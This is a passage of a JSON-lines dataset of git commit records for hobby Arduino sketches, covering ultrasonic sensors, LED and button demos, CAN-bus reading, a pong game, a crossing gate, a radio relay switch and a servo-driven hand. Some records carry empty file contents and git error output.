TorsoSensors.ino","repos":"MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab","old_file":"home\/Markus\/TorsoSensors.ino","new_file":"home\/Markus\/TorsoSensors.ino","new_contents":"\/* \n * \n Pin 2 for pir\n pin 7 for ultrasonic\n\n *\/\n\n\/\/ this constant won't change. It's the pin number\n\/\/ of the sensor's output:\nconst int pingPin = 7;\n\nvoid setup() {\n \/\/ initialize serial communication:\n Serial.begin(9600);\n \n \/\/configure pin2 as an input and enable the internal pull-up resistor\n pinMode(2, INPUT_PULLUP);\n pinMode(13, OUTPUT);\n}\n\nvoid loop() {\n \/\/ establish variables for duration of the ping,\n \/\/ and the distance result in inches and centimeters:\n long duration, inches, cm;\n\n \/\/ The PING))) is triggered by a HIGH pulse of 2 or more microseconds.\n \/\/ Give a short LOW pulse beforehand to ensure a clean HIGH pulse:\n pinMode(pingPin, OUTPUT);\n digitalWrite(pingPin, LOW);\n delayMicroseconds(2);\n digitalWrite(pingPin, HIGH);\n delayMicroseconds(5);\n digitalWrite(pingPin, LOW);\n\n \/\/ The same pin is used to read the signal from the PING))): a HIGH\n \/\/ pulse whose duration is the time (in microseconds) from the sending\n \/\/ of the ping to the reception of its echo off of an object.\n pinMode(pingPin, INPUT);\n duration = pulseIn(pingPin, HIGH);\n\n \/\/ convert the time into a distance\n inches = microsecondsToInches(duration);\n cm = microsecondsToCentimeters(duration);\n\n\n Serial.print(cm);\n Serial.print(\"cm\");\n Serial.println();\n \n \/\/read the pushbutton value into a variable\n int sensorVal = digitalRead(2);\n \/\/print out the value of the pushbutton\n Serial.println(sensorVal);\n\n \/\/ Keep in mind the pullup means the pushbutton's\n \/\/ logic is inverted. It goes HIGH when it's open,\n \/\/ and LOW when it's pressed. Turn on pin 13 when the\n \/\/ button's pressed, and off when it's not:\n if (sensorVal == HIGH) {\n digitalWrite(13, LOW);\n } else {\n digitalWrite(13, HIGH);\n }\n delay(500);\n}\n\nlong microsecondsToInches(long microseconds) {\n \/\/ According to Parallax's datasheet for the PING))), there are\n \/\/ 73.746 microseconds per inch (i.e. sound travels at 1130 feet per\n \/\/ second). This gives the distance travelled by the ping, outbound\n \/\/ and return, so we divide by 2 to get the distance of the obstacle.\n \/\/ See: http:\/\/www.parallax.com\/dl\/docs\/prod\/acc\/28015-PING-v1.3.pdf\n return microseconds \/ 74 \/ 2;\n}\n\nlong microsecondsToCentimeters(long microseconds) {\n \/\/ The speed of sound is 340 m\/s or 29 microseconds per centimeter.\n \/\/ The ping travels out and back, so to find the distance of the\n \/\/ object we take half of the distance travelled.\n return microseconds \/ 29 \/ 2;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'home\/Markus\/TorsoSensors.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"49b4a37b2eaa285a2979acb84b4570d0be92e31b","subject":"Add old arduino code","message":"Add old arduino code\n","repos":"OSCARAdapter\/OSCAR,OSCARAdapter\/OSCAR","old_file":"fw\/old\/ipad_adapter.ino","new_file":"fw\/old\/ipad_adapter.ino","new_contents":"#include <EEPROM.h>\n\n\/\/ Pin attachments\nint RGB_Red = 13;\nint RGB_Blue = 10;\nint RGB_Green = 9;\nint on_sw = 4;\nint up_sw = 12;\nint down_sw = 6;\nint supply_en = 8;\nint bl_pwm_pin = 11;\nint previous_on = LOW;\nint previous_up = LOW;\nint previous_down = LOW;\nint bl_pwm = 0;\n\n\/\/ Variables\nint on, up, down, state;\n\nvoid setup() { \n \/\/ Set all inputs\/outptus\n pinMode(RGB_Red, OUTPUT);\n pinMode(RGB_Blue, OUTPUT);\n pinMode(RGB_Green, OUTPUT);\n pinMode(on_sw, INPUT);\n pinMode(up_sw, INPUT);\n pinMode(down_sw, INPUT);\n pinMode(supply_en, OUTPUT);\n pinMode(bl_pwm_pin, OUTPUT);\n \n \/\/Turn on RGB_red to indicate standby\n analogWrite(RGB_Red, 1);\n digitalWrite(supply_en, 0);\n \n bl_pwm = EEPROM.read(0);\n \n Serial.begin(9600);\n\n\n} \n\nvoid loop() { \n PORTB &= ~_BV(PORTB0); \/\/Turn off Rx\/Tx LEDs as wired as wrong polarity\n PORTD &= ~_BV(PORTD5); \n \n previous_on = on; \n previous_up = up;\n previous_down = down;\n \n on = !digitalRead(on_sw);\n up = !digitalRead(up_sw);\n down = !digitalRead(down_sw);\n \n state = digitalRead(supply_en);\n\n if(on == HIGH && previous_on == LOW){\n digitalWrite(supply_en,!state);\n if(state==LOW){\n analogWrite(RGB_Red, 20);\n analogWrite(RGB_Blue, 20);\n analogWrite(RGB_Green, 20);\n }\n else{\n analogWrite(RGB_Red, 1);\n analogWrite(RGB_Blue, 0);\n analogWrite(RGB_Green, 0);\n } \n }\n\n if(state == HIGH){\n if(up == HIGH && previous_up == LOW){\n bl_pwm = bl_pwm + 5;\n }\n else if(down == HIGH && previous_down == LOW){\n bl_pwm = bl_pwm - 5;\n }\n analogWrite(bl_pwm_pin, bl_pwm);\n }\n else {\n analogWrite(bl_pwm_pin, 0);\n }\n \n EEPROM.write(0,bl_pwm);\n \n \n\n \n delay(20);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'fw\/old\/ipad_adapter.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"7f046a7d3c2c284d12e7c9931b0d9c52284d9940","subject":"Adding PushButton LED Code","message":"Adding PushButton LED Code\n","repos":"SirWellington\/arduino,SirWellington\/arduino,SirWellington\/arduino,SirWellington\/arduino","old_file":"Sketches\/PushButtonLED\/PushButtonLED.ino","new_file":"Sketches\/PushButtonLED\/PushButtonLED.ino","new_contents":"const int LED = 1;\nconst int BUTTON = 2;\n\nvoid setup() \n{\n \/\/ put your setup code here, to run once:\n pinMode(LED, OUTPUT);\n pinMode(BUTTON, INPUT);\n}\n\nvoid loop() \n{\n int buttonState = digitalRead(BUTTON);\n boolean isOn = buttonState == 1;\n\n if (isOn)\n {\n turnOn(LED);\n }\n else\n {\n turnOff(LED);\n }\n}\n\nvoid turnOff(int device) \n{\n digitalWrite(device, LOW);\n}\n\nvoid turnOn(int device)\n{\n digitalWrite(device, HIGH);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sketches\/PushButtonLED\/PushButtonLED.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"65ff591c09f39b9a3e125dcf29c656efeba7942b","subject":"Add BlinkWithoutDelay example","message":"Add BlinkWithoutDelay example\n","repos":"arachnidlabs\/easyctrl","old_file":"examples\/BlinkWithoutDelay\/BlinkWithoutDelay.ino","new_file":"examples\/BlinkWithoutDelay\/BlinkWithoutDelay.ino","new_contents":"\/* Blink without delay, with easyctrl\n\nBased on the BlinkWithoutDelay Arduino example sketch.\n*\/\n\n#include \"easyctrl.h\"\n\nconst int ledPin = 13;\n\n\/\/ Create a monitored int called \"interval\", with an initial value of 500.\nMonitored<int> interval(\"interval\", 500);\n\n\/\/ Create a read-only monitored int called \"count\"\nMonitored<int> count(\"count\", 0, false);\n\nint ledState = LOW;\nlong previousMillis = 0;\n\nvoid setup() {\n \/\/ Initialize the serial port\n\tSerial.begin(115200);\n\n \/\/ Initialize easyctrl, communicating over the serial port.\n\tEasyctrl.begin(\"blink\", Serial);\n\n \/\/ Set the LED pin as an output\n pinMode(13, OUTPUT);\n}\n\nvoid loop() {\n \/\/ Let easyctrl process commands and output changes\n Easyctrl.update();\n\n unsigned long currentMillis = millis();\n\n if(currentMillis - previousMillis > interval) {\n previousMillis = currentMillis;\n\n if(ledState == LOW)\n ledState = HIGH;\n else\n ledState = LOW;\n\n digitalWrite(ledPin, ledState);\n \n \/\/ Update the count\n count = count + 1;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/BlinkWithoutDelay\/BlinkWithoutDelay.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"41cd534bf8d866a7d966337177692fff402abae1","subject":"implemented proportional control, right turn sucks tho","message":"implemented proportional control, right turn sucks tho","repos":"katherinejlu\/ece3400,katherinejlu\/ece3400,katherinejlu\/ece3400,katherinejlu\/ece3400,katherinejlu\/ece3400,katherinejlu\/ece3400","old_file":"code dump\/lab2\/propControlLineSensor.ino","new_file":"code dump\/lab2\/propControlLineSensor.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'code' did not match any file(s) known to git\nerror: pathspec 'dump\/lab2\/propControlLineSensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fd77a1c33d4675927001af39797d14466672531c","subject":"adding changes that were unsaved last night","message":"adding changes that were unsaved last night\n","repos":"timkettering\/TabernacleDisplay,timkettering\/TabernacleDisplay,timkettering\/TabernacleDisplay","old_file":"TabernacleDisplay.ino","new_file":"TabernacleDisplay.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/timkettering\/TabernacleDisplay.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"cb0b7c5f70af00fb40f0b1e062340420c1e253a1","subject":"Add Example CAN Read","message":"Add Example CAN Read\n","repos":"wdross\/CAN_BUS_Shield,wdross\/CAN_BUS_Shield,adlerweb\/CAN_BUS_Shield,adlerweb\/CAN_BUS_Shield,Seeed-Studio\/CAN_BUS_Shield,Seeed-Studio\/CAN_BUS_Shield","old_file":"examples\/CAN_read\/CAN_read.ino","new_file":"examples\/CAN_read\/CAN_read.ino","new_contents":"#include <SPI.h>\n#include <mcp_can.h>\n\nstruct can_frame canMsg;\nMCP_CAN mcp2551(10, MCP_CAN::MODE_NORMAL);\n\n\nvoid setup() {\n Serial.begin(115200);\n mcp2551.begin(CAN_125KBPS);\n Serial.println(\"------- CAN Read ----------\");\n Serial.println(\"ID DLC DATA\");\n \n}\n\nvoid loop() {\n \n if (mcp2551.readMessage(&canMsg) == MCP_CAN::ERROR_OK) {\n \n Serial.print(canMsg.can_id); \/\/ print ID\n\n Serial.print(canMsg.can_dlc); \/\/ print DLC\n\n for(int i = 0; i<canMsg.can_dlc; i++) { \/\/ print the data\n \n Serial.print(canMsg.data[i]);\n Serial.print(\" \");\n\n }\n\n\n Serial.println(); \n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/CAN_read\/CAN_read.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5cf1233e125ae6ac4a82bf8a4b0ad969239f7a8d","subject":"update","message":"update\n","repos":"sjhonatan\/arduino,sjhonatan\/arduino","old_file":"jtk\/jtk.ino","new_file":"jtk\/jtk.ino","new_contents":"\/*\nJhonatan da Silva\nLast Updated version :\nWed Feb 8 23:39:02 2017\nNumber of code lines: \n41\n*\/\n#include <LiquidCrystal.h>\nLiquidCrystal lcd(8, 9, 4, 5, 6, 7);\n\n#define disparar 51\n#define IdaVolta 53\n\nlong tempoTotal;\nint distancia;\nint serialRead = 0;\n\nfloat ultrassonic();\n\nvoid setup(){\n pinMode(disparar,OUTPUT);\n pinMode(IdaVolta,INPUT);\n Serial.begin(9600);\n lcd.begin(16, 2);\n \n digitalWrite(disparar,LOW);\n \n}\n\nvoid loop(){\n if (Serial.available() > 0) {\n serialRead = Serial.read();\n if (serialRead == 85){ \/\/ Letra U\n distancia = ultrassonic();\n lcd.clear();\n lcd.print(distancia); \n }\n }\n}\n\nfloat ultrassonic(){\n digitalWrite(disparar, HIGH);\n delayMicroseconds(10);\n digitalWrite(disparar, LOW);\n tempoTotal = pulseIn(IdaVolta,HIGH);\n distancia = tempoTotal*0.034\/2; \/\/ velocidade do som = 340m\/s \n return distancia;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'jtk\/jtk.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ee9275e0d367f6e74fd1f26e843a2afc9a4d4ed8","subject":"tmr last run!","message":"tmr last run!\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration use IR sensor to turn\/src\/main.ino","new_file":"exploration use IR sensor to turn\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'use' did not match any file(s) known to git\nerror: pathspec 'IR' did not match any file(s) known to git\nerror: pathspec 'sensor' did not match any file(s) known to git\nerror: pathspec 'to' did not match any file(s) known to git\nerror: pathspec 'turn\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b5d1a0c93ea118c0f1b7968ed160992d85f604f2","subject":"Create Zumo_startAttack.ino","message":"Create Zumo_startAttack.ino","repos":"tutturen\/max_speed_backflip_robot","old_file":"Zumo_startAttack.ino","new_file":"Zumo_startAttack.ino","new_contents":"#include <ZumoMotors.h>\n#include <Pushbutton.h>\n\n\nZumoMotors motors;\nPushbutton button(ZUMO_BUTTON);\n\nconst int MAX_SPEED = 400;\n\nvoid setup() {\n button.waitForButton();\n \/\/ put your setup code here, to run once:\n if(100 > 0){\n motors.setSpeeds(-200, -200);\n delay(1000);\n motors.setSpeeds(200, -200);\n delay(300);\n motors.setSpeeds(400, 400);\n }\n \n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Zumo_startAttack.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a259b4405e19ffbf5201ce039e1c413445d0e554","subject":"Updated font demo","message":"Updated font demo\n","repos":"TFTLibraries\/TFT,TFTLibraries\/TFT","old_file":"examples\/PICadillo-35T\/AAFont\/AAFont.ino","new_file":"examples\/PICadillo-35T\/AAFont\/AAFont.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TFTLibraries\/TFT.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"f915d5780343ab860dc7d1840dce627aac813e0a","subject":"arduino sketch skeleton. Not really any code, just comments until the sensors are actually attached","message":"arduino sketch skeleton. Not really any code, just comments until the sensors are actually attached\n","repos":"cyrillegin\/Aquaponics,cyrillegin\/Aquaponics,cyrillegin\/Aquaponics,cyrillegin\/Aquaponics,cyrillegin\/Aquaponics","old_file":"aquaponicMCP\/aquaponicMCP.ino","new_file":"aquaponicMCP\/aquaponicMCP.ino","new_contents":"void setup() {\n \/\/setup analog connections\n \/\/setup serial\n}\n\nvoid loop() {\n LogData();\n SendData();\n GetInput();\n SendCommands();\n\n}\n\nvoid LogData(){\n \/\/log water temp\n \/\/log water ph\n \/\/log water turbidity\n \/\/log plant light\n}\n\nvoid SendData(){\n\/\/ send buffered frame every x seconds\n}\n\nvoid GetInput(){\n\/\/ Listen to awaiting commands(should be kept in a buffer server side)\n\/\/ Preform actions if necessary\n}\n\nvoid SendCommands(){\n\/\/ aquarium light scheduling\n\/\/ water temp modifications\n\/\/ plant light scheduling\n\/\/ turn on warnings if needed\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'aquaponicMCP\/aquaponicMCP.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fd7da368c2d22d25e8e53cfffc42fe1f973c7d54","subject":"get sun data from server","message":"get sun data from server\n","repos":"cwilkens\/helioscope-lamp","old_file":"helioscope\/helioscope.ino","new_file":"helioscope\/helioscope.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/cwilkens\/helioscope-lamp.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ca16391a112e570e59a6cb0ba94910f0d2a0976f","subject":"ported pong from JS to Arduino code, it compiles.","message":"ported pong from JS to Arduino code, it compiles.\n","repos":"davish\/trinket-watch,dbh937\/trinket-watch","old_file":"pong.ino","new_file":"pong.ino","new_contents":"\/*\nPONG\nShould be fun.\n*\/\n\nint playerPos = 32;\n\nint ballDir = 1;\nint ballAngle = -.5;\nint stepCount = 0;\n\nint ballC[] = {65, 62};\n\nint cpuPos = 32;\nint cpuDir = 1;\n\nint playerScore = 0;\nint CPUScore = 0;\n\nboolean movePaddles = true;\n\nvoid pong() {\n buildField();\n \/*\n Paddle Logic, runs once for every step for the ball.\n *\/\n if (movePaddles) {\n if (buttons[0]) {\n if (playerPos > 5)\n playerPos--;\n } \n else if (buttons[2]) {\n if (playerPos < 58)\n playerPos++;\n }\n\n if (cpuPos > ballC[1] && cpuPos > 5)\n cpuPos--;\n else if (cpuPos < ballC[1] && cpuPos < 58)\n cpuPos++;\n else {\n cpuPos = cpuPos;\n\n \/*if (ballDir > 0) { \/\/ ball's heading away from us\n strategy = false; \/\/ just let it ride\n cpuPos = cpuPos;\n } else {\n strategy = true;\n if (true && cpuPos > 5 && cpuPos < 58) { \/\/ Math.abs(playerPos - cpuPos) < 15\n if (Math.abs(cpuPos - ballC[1]) < 3 || Math.abs(cpuPos - ballC[1]) > 3) {\n console.log(Math.abs(cpuPos - ballC[1]));\n cpuPos += (Math.abs(playerPos - ballC[1]) > 0 ? 1 : -1);\n } else {\n cpuPos = cpuPos;\n }\n } else {\n cpuPos = cpuPos; \/\/ the player might be too far away to catch it in time, so hit it straight.\n }\n } *\/\n }\n movePaddles = false;\n } else {\n movePaddles = true;\n }\n\n \/*\n Logic for the ball\n *\/\n if (ballC[1] == 0 || ballC[1] == 63) {\n ballAngle *= -1;\n ballC[1] += (ballC[1] > 32 ? -1 : 1);\n }\n\n \/\/ if it hits a paddle\n if (ballC[0] == 123 && abs(playerPos-ballC[1]) <= 5) { \/\/ player\n ballDir *= -1;\n switch(abs(playerPos-ballC[1])) {\n case 0:\n ballAngle = 0;\n break;\n case 1:\n ballAngle = .5;\n break;\n case 2:\n ballAngle = .6;\n break;\n case 3:\n ballAngle = .7;\n break;\n case 4:\n ballAngle = .8;\n break;\n case 5:\n ballAngle = .85;\n break;\n }\n ballAngle *= (playerPos-ballC[1] >= 0 ? -1 : 1);\n }\n else if (ballC[0] == 4 && abs(cpuPos-ballC[1]) <= 5) { \/\/ if u hit the CPU\n ballDir *= -1; \/\/ bounce\n switch(abs(cpuPos-ballC[1])) {\n case 0:\n ballAngle = 0;\n break;\n case 1:\n ballAngle = .5;\n break;\n case 2:\n ballAngle = .6;\n break;\n case 3:\n ballAngle = .7;\n break;\n case 4:\n ballAngle = .8;\n break;\n case 5:\n ballAngle = .85;\n break;\n }\n ballAngle *= (cpuPos-ballC[1] >= 0 ? -1 : 1);\n }\n\n ballC[0] += ballDir;\n\n if (stepCount >= floor(1\/abs(ballAngle))) {\n stepCount = 0;\n ballC[1] += 1 * (ballAngle >= 0 ? 1 : -1);\n }\n stepCount++;\n\n if (ballC[0] > 128) { \/\/ player lost point\n CPUScore++;\n\n ballDir = -1;\n ballAngle = .5;\n ballC[0] = 63;\n ballC[1] = 1;\n } \n else if (ballC[0] < 0) { \/\/ computer lost point\n playerScore++;\n\n ballDir = 1;\n ballAngle = -.5;\n ballC[0] = 65;\n ballC[1] = 62;\n }\n\n display.drawPixel(ballC[0], ballC[1], WHITE);\n\n display.drawLine(3, cpuPos-5, 3, cpuPos+5, WHITE);\n display.drawLine(124, playerPos-5, 124, playerPos+5, WHITE);\n}\n\nvoid buildField() {\n for (int i = 1; i < 63; i=i+2)\n display.drawPixel(63, i, WHITE);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'pong.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"25f8a69aa9edc911d76fee74f320094e94942aa3","subject":"Added Schranke example (German)","message":"Added Schranke example (German)\n","repos":"DrDiettrich\/ALib0","old_file":"examples\/Schranke\/Schranke.ino","new_file":"examples\/Schranke\/Schranke.ino","new_contents":"\/* Schranke mit Andreaskreuz langsam \u00f6ffnen und schlie\u00dfen.\n * Servo Ansteuerung nach Bedarf einbauen.\n *\/\n\n#include <ALib0.h>\n\n\/\/LED\nconst int ledPin = 13;\nconst millis_t interval = 700;\nbool blinken = false; \/\/Aktivierung per Code\n\n\/\/Schranke\nconst millis_t ServoInterval = 20; \/\/typischer Abstand zwischen Impulsen\nconst millis_t SchrankeInterval = 2*ServoInterval;\nconst int PosZu = 110;\nconst int SchrankeStep = 1; \/\/Dauer = PosZu*SchrankeStep*SchrankeInterval = 4400ms\nint SchrankePos = 0; \/\/aktuelle Position, 0=offen, PosZu=geschlossen\nbool SchrankeZu = false; \/\/Status\nbool SchrankeSchliessen = false; \/\/Aktivierung per Code\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(ledPin, OUTPUT);\n SchrankeSchliessen=true; \/\/gleich anfangen\n}\n\nvoid AndreasKreuz() {\n taskBegin();\n taskWaitFor(blinken);\n Serial.println(\"blink!\");\n digitalWrite(ledPin, HIGH); \/\/ein\n taskDelay(interval);\n digitalWrite(ledPin, LOW); \/\/aus\n taskDelay(interval);\n \/\/LED bleibt aus wenn blinken=false wird\n taskEnd(); \n}\nvoid Schranke() {\n taskBegin();\n taskWaitFor(SchrankeSchliessen != SchrankeZu);\n if (SchrankeSchliessen) {\n \/\/blinken vor Schlie\u00dfen\n blinken = true;\n taskDelay(6*interval); \/\/3*blinken\n \/\/Schranke schlie\u00dfen\n while (SchrankePos < PosZu) {\n SchrankePos += SchrankeStep;\n \/\/Servo.write(SchrankePos);\n Serial.println(SchrankePos);\n taskDelay(SchrankeInterval);\n }\n blinken = false;\n } else { \/\/\u00f6ffnen\n while (SchrankePos > 0) {\n SchrankePos -= SchrankeStep;\n \/\/Servo.write(SchrankePos);\n Serial.println(SchrankePos);\n taskDelay(SchrankeInterval);\n }\n }\n SchrankeZu = SchrankePos >= PosZu;\n taskEnd();\n}\n\nvoid loop() {\n AndreasKreuz();\n Schranke();\n every(20000) SchrankeSchliessen = !SchrankeSchliessen;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Schranke\/Schranke.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"48fccb04e9848ea9ccb550c6668fd7e088074c5a","subject":"Add Arduino code","message":"Add Arduino code\n","repos":"Software-of-Things\/home-automation,Software-of-Things\/home-automation","old_file":"lamp-switch\/arduino-switch.ino","new_file":"lamp-switch\/arduino-switch.ino","new_contents":"#include <SPI.h>\n#include \"nRF24L01.h\"\n#include \"RF24.h\"\n\nint relay = 8;\n\nRF24 radio(9, 10);\n\n\/\/ Radio pipe addresses for the 2 nodes to communicate.\nconst uint64_t pipes[2] = { 0xF0F0F0F0E1LL, 0xF0F0F0F0D2LL };\n\nvoid setup(void) {\n\n Serial.begin(57600);\n pinMode(relay, OUTPUT);\n digitalWrite(relay, HIGH);\n\n radio.begin();\n radio.setRetries(15,15);\n\n radio.openReadingPipe(1,pipes[1]);\n radio.startListening();\n}\n\nvoid loop(void) {\n\n if ( radio.available() ) {\n unsigned long message;\n bool done = false;\n\n while (!done) {\n \/\/ Fetch the payload, and see if this was the last one.\n done = radio.read( &message, sizeof(unsigned long) );\n\n \/\/ Spew it\n if (message == 1){\n digitalWrite(relay, LOW);\n } else {\n digitalWrite(relay, HIGH);\n }\n\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'lamp-switch\/arduino-switch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"59418d2f76dc80df33957d56bc3536ef128f6539","subject":"Arduino Micro Version 1.0","message":"Arduino Micro Version 1.0\n\nAn Arduino Micro sketch that reads incoming bytes through Serial and\nactuates Serial based off of those inputs.\n","repos":"ThermoNuclearPanda\/Project_Automail","old_file":"piServo\/piServo.ino","new_file":"piServo\/piServo.ino","new_contents":"\/******************************************\n* Author: Alex Lee\n* Modified: 2\/2\/2016\n* Class Summary:\n* The PiServo sketch runs on an Arduino \n* Microchecks from its serial bytes of data \n* '0'-'5'. By matching the incoming data \n* with the corresponding pose function to \n* handle, the sketch will actuate the hand \n* based on pose input.\n*******************************************\/\n#include <Servo.h>;\nServo rotator; \/\/Rotator will actuate the wrist rotation\nServo clencher; \/\/clencher will actuate the gripping motion\n\nint refreshRate = 20; \/\/in milliseconds; the time interval for the micro to check for incoming data through serial\nint space = 5; \/\/this number serves as a standard servo's angle from reaching its maximum actuation\nint input = 0; \/\/placeholder for the serial input\n\nint rPos = 90; \/\/placeholder for rotator position; 90 represents rest position or neutral position\nint cPos = space; \/\/placeholder for clencher position; 0 + space is rest position for clench.\nint rotatorSpeed = 2; \nint clencherSpeed = 2;\/\/degree increment for the clencher Servo.\n\n\/\/rLED and cLED will light up when rotator and clencher servo are running respectively.\nint rLED = 7; \/\/Pin number for Rotator LED\nint cLED = 8; \/\/Pin number for Clencher LED\n\n\/\/poses and its number assosciated for each one\nconst int REST = 0, FIST = 1, FINGERSPREAD = 4, WAVE_IN = 2, WAVE_OUT = 3, DOUBLE_TAP = 5; \nconst int STOP = 90, RIGHT = 93, LEFT = 87; \/\/numbers to designate movement for a continuous servo\n\n\/\/-----------------------------------SETUP----------------------------------------------\nvoid setup() {\n rotator.attach(11); \/\/Attach rotator and clencher servos\n clencher.attach(9);\n pinMode(rLED, OUTPUT); \/\/Set LEDs to OUTPUT\n pinMode(cLED, OUTPUT);\n Serial.begin(9600);\n startUp(); \/\/Startup Sequence that sets the position of the hand to neutral position\n}\n\n\/\/------------------------------------LOOP----------------------------------------------\nvoid loop() {\n if (Serial.available() > 0) { \/\/check for incoming data\n input = Serial.read() - '0'; \/\/read incoming byte scaled to 0\n }\n \/\/Comparative process to assocsiate the byte with a specific pose \n if (input == REST) {\n rest(); \/\/do the pose \"REST\"\n } else if (input == FIST) {\n fist();\n } else if (input == FINGERSPREAD) {\n fingerspread();\n } else if (input == WAVE_IN) {\n waveIn();\n } else if (input == WAVE_OUT) {\n waveOut();\n }\n delay(refreshRate); \/\/How often to check for incoming data from Myo\n}\n\n\/\/---------------------------------STARTUP-----------------------------------------------\nvoid startUp() { \/\/Startup sequence to set servos to neutral positions\n while (cPos != 90) {\n if (cPos > 90) { \/\/Set clencher servo to neutral position (90)\n cPos --;\n clencher.write(cPos);\n cLEDOn();\n } else if (cPos < 90) {\n rPos ++;\n clencher.write(cPos);\n cLEDOn();\n }\n delay(15);\n }\n rLEDOff(); \/\/set LEDs to off state when Servos are not running\n cLEDOff();\n}\n\n\/\/-----------------------------------FIST-------------------------------------------------\nvoid fist() {\n if (cPos < 180 - space) { \/\/if position of clencher is within the Servo boundaries\n cPos += clencherSpeed; \/\/increment the position of clench\n clencher.write(cPos); \/\/move clencher servo to new position\n cLEDOn(); \/\/set clencher led to on\n }\n}\n\n\/\/------------------------------FINGERSPREAD----------------------------------------------\nvoid fingerspread() {\n if (cPos > space) { \/\/if position of clencher is above minimum threshold, decrease\n cPos -= clencherSpeed;\n clencher.write(cPos);\n cLEDOn();\n }\n}\n\n\/\/----------------------------------REST---------------------------------------------------\nvoid rest(){ \/\/set servo motion to stop\n rotator.write(STOP);\n rLEDOff();\n}\n\n\/\/---------------------------------WAVEIN--------------------------------------------------\nvoid waveIn() { \/\/set servo motion to clockwise\n rotator.write(RIGHT);\n rLEDOn();\n cLEDOff();\n}\n\n\/\/---------------------------------WAVEOUT-------------------------------------------------\nvoid waveOut() { \/\/set servo motion to counterclockwise\n rotator.write(LEFT);\n rLEDOn();\n cLEDOff();\n}\n\n\/\/---------------------------------RLEDON--------------------------------------------------\nvoid rLEDOn() { \/\/set rotator LED to ON state\n digitalWrite(rLED, HIGH);\n}\n\n\/\/---------------------------------RLEDOFF-------------------------------------------------\nvoid rLEDOff() { \/\/set rotator LED to OFF state\n digitalWrite(rLED, LOW);\n}\n\n\/\/---------------------------------CLEDON--------------------------------------------------\nvoid cLEDOn() { \/\/set clencher LED to ON state\n digitalWrite(cLED, HIGH);\n}\n\n\/\/---------------------------------CLEDOFF-------------------------------------------------\nvoid cLEDOff() { \/\/set clencher LED to OFF state\n digitalWrite(cLED, LOW);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'piServo\/piServo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ce84813f201feda0dfb838994ddad61801a16242","subject":"updated Arduino Sketch","message":"updated Arduino Sketch\n","repos":"Superflux-in\/Open-Informant,jomolinare\/Open-Informant","old_file":"Aruduino Sketches\/badge_arduino\/badge_arduino.ino","new_file":"Aruduino Sketches\/badge_arduino\/badge_arduino.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Aruduino' did not match any file(s) known to git\nerror: pathspec 'Sketches\/badge_arduino\/badge_arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"457cc28382ed2168bb239fd75be13165c2226ba0","subject":"add mpu9250 sketch","message":"add mpu9250 sketch\n","repos":"MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI","old_file":"testing\/arduino\/MPU9250.ino","new_file":"testing\/arduino\/MPU9250.ino","new_contents":"#include <Wire.h>\n#include <TimerOne.h>\n\n#define MPU9250_ADDRESS 0x68\n#define MAG_ADDRESS 0x0C\n\n#define 